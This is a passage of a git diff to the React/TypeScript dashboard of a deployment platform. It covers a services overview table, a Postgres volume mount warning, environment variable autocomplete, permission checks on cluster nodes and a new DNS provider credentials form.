|
</span>
|
||||||
|
</h3>
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<div className="relative">
|
||||||
|
<Input
|
||||||
|
placeholder="Filter services..."
|
||||||
|
value={searchQuery}
|
||||||
|
onChange={(e) => setSearchQuery(e.target.value)}
|
||||||
|
className="pr-9 w-[200px]"
|
||||||
|
/>
|
||||||
|
<Search className="absolute right-3 top-1/2 -translate-y-1/2 size-4 text-muted-foreground" />
|
||||||
|
</div>
|
||||||
|
<Select
|
||||||
|
value={selectedProjectId}
|
||||||
|
onValueChange={setSelectedProjectId}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[160px]">
|
||||||
|
<SelectValue placeholder="Project" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All projects</SelectItem>
|
||||||
|
{allProjects?.map((project) => (
|
||||||
|
<SelectItem key={project.projectId} value={project.projectId}>
|
||||||
|
{project.name}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<Select value={selectedType} onValueChange={setSelectedType}>
|
||||||
|
<SelectTrigger className="w-[150px]">
|
||||||
|
<SelectValue placeholder="Type" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All types</SelectItem>
|
||||||
|
{Object.entries(TYPE_LABELS).map(([value, label]) => (
|
||||||
|
<SelectItem key={value} value={value}>
|
||||||
|
{label}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
<Select value={selectedStatus} onValueChange={setSelectedStatus}>
|
||||||
|
<SelectTrigger className="w-[130px]">
|
||||||
|
<SelectValue placeholder="Status" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All statuses</SelectItem>
|
||||||
|
{STATUS_OPTIONS.map((status) => (
|
||||||
|
<SelectItem key={status} value={status}>
|
||||||
|
{STATUS_LABELS[status] ?? status}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
{(availableServers.length > 0 || hasServicesWithoutServer) && (
|
||||||
|
<Select
|
||||||
|
value={selectedServerId}
|
||||||
|
onValueChange={setSelectedServerId}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[170px]">
|
||||||
|
<SelectValue placeholder="Server" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All servers</SelectItem>
|
||||||
|
{hasServicesWithoutServer && (
|
||||||
|
<SelectItem value="dokploy-server">
|
||||||
|
Dokploy server
|
||||||
|
</SelectItem>
|
||||||
|
)}
|
||||||
|
{availableServers.map((s) => (
|
||||||
|
<SelectItem key={s.serverId} value={s.serverId}>
|
||||||
|
{s.serverName}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
)}
|
||||||
|
<Select
|
||||||
|
value={sortBy}
|
||||||
|
onValueChange={(v) => setSort(v as OverviewSortBy)}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[190px]">
|
||||||
|
<SelectValue placeholder="Sort by..." />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{SORT_OPTIONS.map((opt) => (
|
||||||
|
<SelectItem key={opt.value} value={opt.value}>
|
||||||
|
{opt.label}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{isLoading && (
|
||||||
|
<div className="flex items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||||
|
<Loader2 className="size-4 animate-spin" />
|
||||||
|
Loading services...
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{!isLoading && filteredServices.length === 0 && (
|
||||||
|
<div className="flex flex-col items-center justify-center gap-2 py-16 text-muted-foreground">
|
||||||
|
<span>No services match the current filters.</span>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{!isLoading && filteredServices.length > 0 && (
|
||||||
|
<>
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
<TableRow>
|
||||||
|
<TableHead>Service</TableHead>
|
||||||
|
<TableHead>Type</TableHead>
|
||||||
|
<TableHead>Status</TableHead>
|
||||||
|
<TableHead>Server</TableHead>
|
||||||
|
<TableHead>Created</TableHead>
|
||||||
|
<TableHead>Last Deploy</TableHead>
|
||||||
|
<TableHead className="text-right">Actions</TableHead>
|
||||||
|
</TableRow>
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{pagedServices.map((service) => {
|
||||||
|
const href = `/dashboard/project/${service.projectId}/environment/${service.environmentId}/services/${service.type}/${service.id}`;
|
||||||
|
const hasActions = service.type in actionsByType;
|
||||||
|
return (
|
||||||
|
<TableRow key={service.id}>
|
||||||
|
<TableCell>
|
||||||
|
<Link href={href} className="flex items-center gap-2">
|
||||||
|
{renderIcon(service)}
|
||||||
|
<div className="flex flex-col min-w-0">
|
||||||
|
<span className="font-medium truncate">
|
||||||
|
{service.name}
|
||||||
|
</span>
|
||||||
|
<span className="text-xs font-normal text-muted-foreground">
|
||||||
|
{service.projectName} / {service.environmentName}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</Link>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>{TYPE_LABELS[service.type]}</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<StatusTooltip
|
||||||
|
status={service.status as any}
|
||||||
|
className="size-2.5"
|
||||||
|
/>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<div className="flex items-center gap-1.5 text-muted-foreground">
|
||||||
|
<ServerIcon className="size-3.5" />
|
||||||
|
<span className="truncate">
|
||||||
|
{service.serverName ?? "Dokploy server"}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
<DateTooltip date={service.createdAt} />
|
||||||
|
</TableCell>
|
||||||
|
<TableCell>
|
||||||
|
{service.lastDeployAt ? (
|
||||||
|
<DateTooltip date={service.lastDeployAt} />
|
||||||
|
) : (
|
||||||
|
<span className="text-muted-foreground">—</span>
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
<TableCell className="text-right">
|
||||||
|
{hasActions && (
|
||||||
|
<DropdownMenu>
|
||||||
|
<DropdownMenuTrigger asChild>
|
||||||
|
<Button variant="ghost" className="h-8 w-8 p-0">
|
||||||
|
<span className="sr-only">Open menu</span>
|
||||||
|
<MoreHorizontal className="h-4 w-4" />
|
||||||
|
</Button>
|
||||||
|
</DropdownMenuTrigger>
|
||||||
|
<DropdownMenuContent align="end">
|
||||||
|
<DropdownMenuLabel className="truncate">
|
||||||
|
{service.name}
|
||||||
|
</DropdownMenuLabel>
|
||||||
|
<DialogAction
|
||||||
|
title="Deploy Service"
|
||||||
|
description={`Are you sure you want to deploy "${service.name}"?`}
|
||||||
|
type="default"
|
||||||
|
onClick={() => handleAction(service, "deploy")}
|
||||||
|
>
|
||||||
|
<DropdownMenuItem
|
||||||
|
className="flex items-center gap-2"
|
||||||
|
onSelect={(e) => e.preventDefault()}
|
||||||
|
>
|
||||||
|
<RefreshCw className="size-4" />
|
||||||
|
Deploy
|
||||||
|
</DropdownMenuItem>
|
||||||
|
</DialogAction>
|
||||||
|
<DialogAction
|
||||||
|
title="Stop Service"
|
||||||
|
description={`Are you sure you want to stop "${service.name}"?`}
|
||||||
|
onClick={() => handleAction(service, "stop")}
|
||||||
|
>
|
||||||
|
<DropdownMenuItem
|
||||||
|
className="flex items-center gap-2 text-orange-500 focus:text-orange-500"
|
||||||
|
onSelect={(e) => e.preventDefault()}
|
||||||
|
>
|
||||||
|
<Ban className="size-4" />
|
||||||
|
Stop
|
||||||
|
</DropdownMenuItem>
|
||||||
|
</DialogAction>
|
||||||
|
</DropdownMenuContent>
|
||||||
|
</DropdownMenu>
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
|
||||||
|
<div className="flex items-center justify-between text-sm text-muted-foreground">
|
||||||
|
<span>
|
||||||
|
{filteredServices.length}{" "}
|
||||||
|
{filteredServices.length === 1 ? "service" : "services"} total
|
||||||
|
</span>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<span className="whitespace-nowrap">Rows per page</span>
|
||||||
|
<Select
|
||||||
|
value={String(pageSize)}
|
||||||
|
onValueChange={(value) => {
|
||||||
|
setPageSize(Number(value));
|
||||||
|
setPageIndex(0);
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<SelectTrigger className="w-[80px] h-8">
|
||||||
|
<SelectValue />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
{PAGE_SIZE_OPTIONS.map((size) => (
|
||||||
|
<SelectItem key={size} value={String(size)}>
|
||||||
|
{size}
|
||||||
|
</SelectItem>
|
||||||
|
))}
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</div>
|
||||||
|
<span className="whitespace-nowrap">
|
||||||
|
Page {currentPageIndex + 1} of {pageCount}
|
||||||
|
</span>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => setPageIndex(currentPageIndex - 1)}
|
||||||
|
disabled={currentPageIndex === 0}
|
||||||
|
>
|
||||||
|
Previous
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => setPageIndex(currentPageIndex + 1)}
|
||||||
|
disabled={currentPageIndex + 1 >= pageCount}
|
||||||
|
>
|
||||||
|
Next
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -4,6 +4,7 @@ import { useEffect } from "react";
|
|||||||
import { useFieldArray, useForm } from "react-hook-form";
|
import { useFieldArray, useForm } from "react-hook-form";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||||
import {
|
import {
|
||||||
@@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
|
|||||||
import { api } from "@/utils/api";
|
import { api } from "@/utils/api";
|
||||||
import type { ServiceType } from "../../application/advanced/show-resources";
|
import type { ServiceType } from "../../application/advanced/show-resources";
|
||||||
|
|
||||||
|
const getPostgresMountPath = (dockerImage: string): string => {
|
||||||
|
const versionMatch = dockerImage.match(/postgres:(\d+)/);
|
||||||
|
if (versionMatch?.[1]) {
|
||||||
|
const version = Number.parseInt(versionMatch[1], 10);
|
||||||
|
if (version >= 18) {
|
||||||
|
return `/var/lib/postgresql/${version}/docker`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "/var/lib/postgresql/data";
|
||||||
|
};
|
||||||
|
|
||||||
|
const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
|
||||||
|
|
||||||
const addDockerImage = z.object({
|
const addDockerImage = z.object({
|
||||||
dockerImage: z.string().min(1, "Docker image is required"),
|
dockerImage: z.string().min(1, "Docker image is required"),
|
||||||
command: z.string(),
|
command: z.string(),
|
||||||
@@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
|
|||||||
}
|
}
|
||||||
}, [data, form]);
|
}, [data, form]);
|
||||||
|
|
||||||
|
const dockerImage = form.watch("dockerImage");
|
||||||
|
|
||||||
|
const mountPathWarning = (() => {
|
||||||
|
if (type !== "postgres" || !dockerImage) return null;
|
||||||
|
const mounts = data && "mounts" in data ? data.mounts : [];
|
||||||
|
const dataMounts = mounts.filter(
|
||||||
|
(mount) =>
|
||||||
|
mount.type === "volume" &&
|
||||||
|
POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
|
||||||
|
);
|
||||||
|
if (dataMounts.length === 0) return null;
|
||||||
|
const expectedPath = getPostgresMountPath(dockerImage);
|
||||||
|
if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
expectedPath,
|
||||||
|
currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
|
||||||
|
};
|
||||||
|
})();
|
||||||
|
|
||||||
const onSubmit = async (formData: AddDockerImage) => {
|
const onSubmit = async (formData: AddDockerImage) => {
|
||||||
await mutateAsync({
|
await mutateAsync({
|
||||||
mongoId: id || "",
|
mongoId: id || "",
|
||||||
@@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
|
|||||||
</FormItem>
|
</FormItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
{mountPathWarning && (
|
||||||
|
<AlertBlock type="warning">
|
||||||
|
This image expects its data directory under{" "}
|
||||||
|
<code>{mountPathWarning.expectedPath}</code>, but the
|
||||||
|
volume of this database is mounted at{" "}
|
||||||
|
<code>{mountPathWarning.currentPath}</code>. Changing the
|
||||||
|
image does not migrate existing data — Postgres may
|
||||||
|
crash-loop or start with an empty database. Adjust the
|
||||||
|
volume mount path in the Volumes section or keep a
|
||||||
|
compatible image before saving.
|
||||||
|
</AlertBlock>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
<FormField
|
<FormField
|
||||||
control={form.control}
|
control={form.control}
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import { toast } from "sonner";
|
|||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
import { AlertBlock } from "@/components/shared/alert-block";
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
import { CodeEditor } from "@/components/shared/code-editor";
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import {
|
import {
|
||||||
Dialog,
|
Dialog,
|
||||||
@@ -55,6 +56,11 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
|||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const completionSource = useEnvCompletionSource({
|
||||||
|
includeShared: false,
|
||||||
|
projectId: data?.projectId,
|
||||||
|
environmentId,
|
||||||
|
});
|
||||||
const form = useForm<UpdateEnvironment>({
|
const form = useForm<UpdateEnvironment>({
|
||||||
defaultValues: {
|
defaultValues: {
|
||||||
env: data?.env ?? "",
|
env: data?.env ?? "",
|
||||||
@@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
|||||||
<AlertBlock type="info">
|
<AlertBlock type="info">
|
||||||
Use this syntax to reference environment-level variables in your
|
Use this syntax to reference environment-level variables in your
|
||||||
service environments:{" "}
|
service environments:{" "}
|
||||||
<code>API_URL=${"{{environment.API_URL}}"}</code>
|
<code>API_URL=${"{{environment.API_URL}}"}</code>. You can also
|
||||||
|
reference secrets from a configured vault provider:{" "}
|
||||||
|
<code>DB_URL=${"{{vault.<provider>.<secret>}}"}</code>
|
||||||
</AlertBlock>
|
</AlertBlock>
|
||||||
<div className="grid gap-4">
|
<div className="grid gap-4">
|
||||||
<div className="grid items-center gap-4">
|
<div className="grid items-center gap-4">
|
||||||
@@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => {
|
|||||||
<FormLabel>Environment variables</FormLabel>
|
<FormLabel>Environment variables</FormLabel>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<CodeEditor
|
<CodeEditor
|
||||||
|
completionSource={completionSource}
|
||||||
lineWrapping
|
lineWrapping
|
||||||
language="properties"
|
language="properties"
|
||||||
readOnly={!canWrite}
|
readOnly={!canWrite}
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import { toast } from "sonner";
|
|||||||
import { z } from "zod";
|
import { z } from "zod";
|
||||||
import { AlertBlock } from "@/components/shared/alert-block";
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
import { CodeEditor } from "@/components/shared/code-editor";
|
import { CodeEditor } from "@/components/shared/code-editor";
|
||||||
|
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
|
||||||
import { Button } from "@/components/ui/button";
|
import { Button } from "@/components/ui/button";
|
||||||
import {
|
import {
|
||||||
Dialog,
|
Dialog,
|
||||||
@@ -55,6 +56,10 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
|||||||
},
|
},
|
||||||
);
|
);
|
||||||
|
|
||||||
|
const completionSource = useEnvCompletionSource({
|
||||||
|
includeShared: false,
|
||||||
|
projectId,
|
||||||
|
});
|
||||||
const form = useForm<UpdateProject>({
|
const form = useForm<UpdateProject>({
|
||||||
defaultValues: {
|
defaultValues: {
|
||||||
env: data?.env ?? "",
|
env: data?.env ?? "",
|
||||||
@@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
|||||||
.then(() => {
|
.then(() => {
|
||||||
toast.success("Project env updated successfully");
|
toast.success("Project env updated successfully");
|
||||||
utils.project.all.invalidate();
|
utils.project.all.invalidate();
|
||||||
|
utils.project.one.invalidate({ projectId });
|
||||||
})
|
})
|
||||||
.catch(() => {
|
.catch(() => {
|
||||||
toast.error("Error updating the env");
|
toast.error("Error updating the env");
|
||||||
@@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => {
|
|||||||
<FormLabel>Environment variables</FormLabel>
|
<FormLabel>Environment variables</FormLabel>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<CodeEditor
|
<CodeEditor
|
||||||
|
completionSource={completionSource}
|
||||||
lineWrapping
|
lineWrapping
|
||||||
language="properties"
|
language="properties"
|
||||||
readOnly={!canWrite}
|
readOnly={!canWrite}
|
||||||
|
|||||||
@@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
|
|||||||
<Area
|
<Area
|
||||||
dataKey="count"
|
dataKey="count"
|
||||||
type="monotone"
|
type="monotone"
|
||||||
|
isAnimationActive={false}
|
||||||
fill="hsl(var(--chart-1))"
|
fill="hsl(var(--chart-1))"
|
||||||
fillOpacity={0.4}
|
fillOpacity={0.4}
|
||||||
stroke="hsl(var(--chart-1))"
|
stroke="hsl(var(--chart-1))"
|
||||||
|
|||||||
@@ -63,7 +63,7 @@ export const ShowRequests = () => {
|
|||||||
const [dateRange, setDateRange] = useState<{
|
const [dateRange, setDateRange] = useState<{
|
||||||
from: Date | undefined;
|
from: Date | undefined;
|
||||||
to: Date | undefined;
|
to: Date | undefined;
|
||||||
}>(getDefaultDateRange());
|
}>(() => getDefaultDateRange());
|
||||||
|
|
||||||
// Check if logs exist to determine if traefik has been reloaded
|
// Check if logs exist to determine if traefik has been reloaded
|
||||||
// Only fetch when active to minimize network calls
|
// Only fetch when active to minimize network calls
|
||||||
|
|||||||
@@ -175,7 +175,7 @@ export const SearchCommand = () => {
|
|||||||
</CommandItem>
|
</CommandItem>
|
||||||
<CommandItem
|
<CommandItem
|
||||||
onSelect={() => {
|
onSelect={() => {
|
||||||
router.push("/dashboard/deployments");
|
router.push("/dashboard/overview?tab=deployments");
|
||||||
setOpen(false);
|
setOpen(false);
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -52,13 +52,14 @@ export const ShowNodes = ({ serverId }: Props) => {
|
|||||||
serverId,
|
serverId,
|
||||||
});
|
});
|
||||||
const { data: registry } = api.registry.all.useQuery();
|
const { data: registry } = api.registry.all.useQuery();
|
||||||
|
const { data: permissions } = api.user.getPermissions.useQuery();
|
||||||
|
|
||||||
const { mutateAsync: deleteNode } = api.cluster.removeWorker.useMutation();
|
const { mutateAsync: deleteNode } = api.cluster.removeWorker.useMutation();
|
||||||
|
|
||||||
const haveAtLeastOneRegistry = !!(registry && registry?.length > 0);
|
const haveAtLeastOneRegistry = !!(registry && registry?.length > 0);
|
||||||
return (
|
return (
|
||||||
<div className="w-full">
|
<div className="w-full">
|
||||||
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
|
||||||
<div className="rounded-xl bg-background shadow-md ">
|
<div className="rounded-xl bg-background shadow-md ">
|
||||||
<CardHeader className="flex flex-row gap-2 justify-between w-full items-center flex-wrap">
|
<CardHeader className="flex flex-row gap-2 justify-between w-full items-center flex-wrap">
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
@@ -68,7 +69,7 @@ export const ShowNodes = ({ serverId }: Props) => {
|
|||||||
</CardTitle>
|
</CardTitle>
|
||||||
<CardDescription>Add nodes to your cluster</CardDescription>
|
<CardDescription>Add nodes to your cluster</CardDescription>
|
||||||
</div>
|
</div>
|
||||||
{haveAtLeastOneRegistry && (
|
{haveAtLeastOneRegistry && permissions?.server.create && (
|
||||||
<div className="flex flex-row gap-2">
|
<div className="flex flex-row gap-2">
|
||||||
<AddNode serverId={serverId} />
|
<AddNode serverId={serverId} />
|
||||||
</div>
|
</div>
|
||||||
@@ -144,34 +145,35 @@ export const ShowNodes = ({ serverId }: Props) => {
|
|||||||
<DropdownMenuContent align="end">
|
<DropdownMenuContent align="end">
|
||||||
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
<DropdownMenuLabel>Actions</DropdownMenuLabel>
|
||||||
<ShowNodeData data={node} />
|
<ShowNodeData data={node} />
|
||||||
{!node?.ManagerStatus?.Leader && (
|
{!node?.ManagerStatus?.Leader &&
|
||||||
<DialogAction
|
permissions?.server.delete && (
|
||||||
title="Delete Node"
|
<DialogAction
|
||||||
description="Are you sure you want to delete this node from the cluster?"
|
title="Delete Node"
|
||||||
type="destructive"
|
description="Are you sure you want to delete this node from the cluster?"
|
||||||
onClick={async () => {
|
type="destructive"
|
||||||
await deleteNode({
|
onClick={async () => {
|
||||||
nodeId: node.ID,
|
await deleteNode({
|
||||||
serverId,
|
nodeId: node.ID,
|
||||||
})
|
serverId,
|
||||||
.then(() => {
|
|
||||||
refetch();
|
|
||||||
toast.success(
|
|
||||||
"Node deleted successfully",
|
|
||||||
);
|
|
||||||
})
|
})
|
||||||
.catch(() => {
|
.then(() => {
|
||||||
toast.error("Error deleting node");
|
refetch();
|
||||||
});
|
toast.success(
|
||||||
}}
|
"Node deleted successfully",
|
||||||
>
|
);
|
||||||
<DropdownMenuItem
|
})
|
||||||
onSelect={(e) => e.preventDefault()}
|
.catch(() => {
|
||||||
|
toast.error("Error deleting node");
|
||||||
|
});
|
||||||
|
}}
|
||||||
>
|
>
|
||||||
Delete
|
<DropdownMenuItem
|
||||||
</DropdownMenuItem>
|
onSelect={(e) => e.preventDefault()}
|
||||||
</DialogAction>
|
>
|
||||||
)}
|
Delete
|
||||||
|
</DropdownMenuItem>
|
||||||
|
</DialogAction>
|
||||||
|
)}
|
||||||
</DropdownMenuContent>
|
</DropdownMenuContent>
|
||||||
</DropdownMenu>
|
</DropdownMenu>
|
||||||
</TableCell>
|
</TableCell>
|
||||||
|
|||||||
@@ -0,0 +1,340 @@
|
|||||||
|
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
|
||||||
|
import { PenBoxIcon, PlusIcon } from "lucide-react";
|
||||||
|
import { useEffect, useState } from "react";
|
||||||
|
import { useForm } from "react-hook-form";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { z } from "zod";
|
||||||
|
import { dnsProviderIcons } from "@/components/icons/dns-provider-icons";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogFooter,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import {
|
||||||
|
Form,
|
||||||
|
FormControl,
|
||||||
|
FormDescription,
|
||||||
|
FormField,
|
||||||
|
FormItem,
|
||||||
|
FormLabel,
|
||||||
|
FormMessage,
|
||||||
|
} from "@/components/ui/form";
|
||||||
|
import { Input } from "@/components/ui/input";
|
||||||
|
import {
|
||||||
|
Select,
|
||||||
|
SelectContent,
|
||||||
|
SelectItem,
|
||||||
|
SelectTrigger,
|
||||||
|
SelectValue,
|
||||||
|
} from "@/components/ui/select";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
const providerLabels = {
|
||||||
|
cloudflare: "Cloudflare",
|
||||||
|
route53: "AWS Route53",
|
||||||
|
} as const;
|
||||||
|
|
||||||
|
type ProviderType = keyof typeof providerLabels;
|
||||||
|
|
||||||
|
const DnsProviderSchema = z.object({
|
||||||
|
name: z
|
||||||
|
.string()
|
||||||
|
.min(1, { message: "Name is required" })
|
||||||
|
.regex(/^[a-zA-Z0-9_-]+$/, {
|
||||||
|
message: "Only letters, numbers, dashes and underscores",
|
||||||
|
}),
|
||||||
|
providerType: z.enum(["cloudflare", "route53"]),
|
||||||
|
apiToken: z.string(),
|
||||||
|
accessKeyId: z.string(),
|
||||||
|
secretAccessKey: z.string(),
|
||||||
|
});
|
||||||
|
|
||||||
|
type DnsProviderForm = z.infer<typeof DnsProviderSchema>;
|
||||||
|
|
||||||
|
const defaultValues: DnsProviderForm = {
|
||||||
|
name: "",
|
||||||
|
providerType: "cloudflare",
|
||||||
|
apiToken: "",
|
||||||
|
accessKeyId: "",
|
||||||
|
secretAccessKey: "",
|
||||||
|
};
|
||||||
|
|
||||||
|
const buildConfig = (data: DnsProviderForm) => {
|
||||||
|
switch (data.providerType) {
|
||||||
|
case "cloudflare":
|
||||||
|
return {
|
||||||
|
providerType: "cloudflare" as const,
|
||||||
|
apiToken: data.apiToken,
|
||||||
|
};
|
||||||
|
case "route53":
|
||||||
|
return {
|
||||||
|
providerType: "route53" as const,
|
||||||
|
accessKeyId: data.accessKeyId,
|
||||||
|
secretAccessKey: data.secretAccessKey,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const extractErrorMessage = (err: unknown) => {
|
||||||
|
if (!(err instanceof Error)) return undefined;
|
||||||
|
try {
|
||||||
|
const issues = JSON.parse(err.message) as { message?: string }[];
|
||||||
|
if (Array.isArray(issues)) {
|
||||||
|
return issues
|
||||||
|
.map((issue) => issue.message)
|
||||||
|
.filter(Boolean)
|
||||||
|
.join(", ");
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
return err.message;
|
||||||
|
};
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
dnsProviderId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const HandleDnsProvider = ({ dnsProviderId }: Props) => {
|
||||||
|
const utils = api.useUtils();
|
||||||
|
const [isOpen, setIsOpen] = useState(false);
|
||||||
|
|
||||||
|
const { data: provider } = api.dnsProvider.one.useQuery(
|
||||||
|
{ dnsProviderId: dnsProviderId || "" },
|
||||||
|
{ enabled: !!dnsProviderId && isOpen },
|
||||||
|
);
|
||||||
|
|
||||||
|
const { mutateAsync, isPending, error, isError } = dnsProviderId
|
||||||
|
? api.dnsProvider.update.useMutation()
|
||||||
|
: api.dnsProvider.create.useMutation();
|
||||||
|
|
||||||
|
const { mutateAsync: testConnection, isPending: isTesting } =
|
||||||
|
api.dnsProvider.testConnection.useMutation();
|
||||||
|
|
||||||
|
const form = useForm<DnsProviderForm>({
|
||||||
|
defaultValues,
|
||||||
|
resolver: zodResolver(DnsProviderSchema),
|
||||||
|
});
|
||||||
|
|
||||||
|
const providerType = form.watch("providerType");
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (provider) {
|
||||||
|
form.reset({
|
||||||
|
...defaultValues,
|
||||||
|
name: provider.name,
|
||||||
|
providerType: provider.config.providerType,
|
||||||
|
...(provider.config.providerType === "cloudflare" && {
|
||||||
|
apiToken: provider.config.apiToken,
|
||||||
|
}),
|
||||||
|
...(provider.config.providerType === "route53" && {
|
||||||
|
accessKeyId: provider.config.accessKeyId,
|
||||||
|
secretAccessKey: provider.config.secretAccessKey,
|
||||||
|
}),
|
||||||
|
});
|
||||||
|
} else if (!dnsProviderId) {
|
||||||
|
form.reset(defaultValues);
|
||||||
|
}
|
||||||
|
}, [provider, dnsProviderId, form, isOpen]);
|
||||||
|
|
||||||
|
const onSubmit = async (data: DnsProviderForm) => {
|
||||||
|
const payload: any = {
|
||||||
|
name: data.name,
|
||||||
|
config: buildConfig(data),
|
||||||
|
...(dnsProviderId && { dnsProviderId }),
|
||||||
|
};
|
||||||
|
await mutateAsync(payload)
|
||||||
|
.then(() => {
|
||||||
|
toast.success(
|
||||||
|
dnsProviderId ? "DNS provider updated" : "DNS provider created",
|
||||||
|
);
|
||||||
|
utils.dnsProvider.all.invalidate();
|
||||||
|
setIsOpen(false);
|
||||||
|
})
|
||||||
|
.catch(() => {});
|
||||||
|
};
|
||||||
|
|
||||||
|
const onTestConnection = async () => {
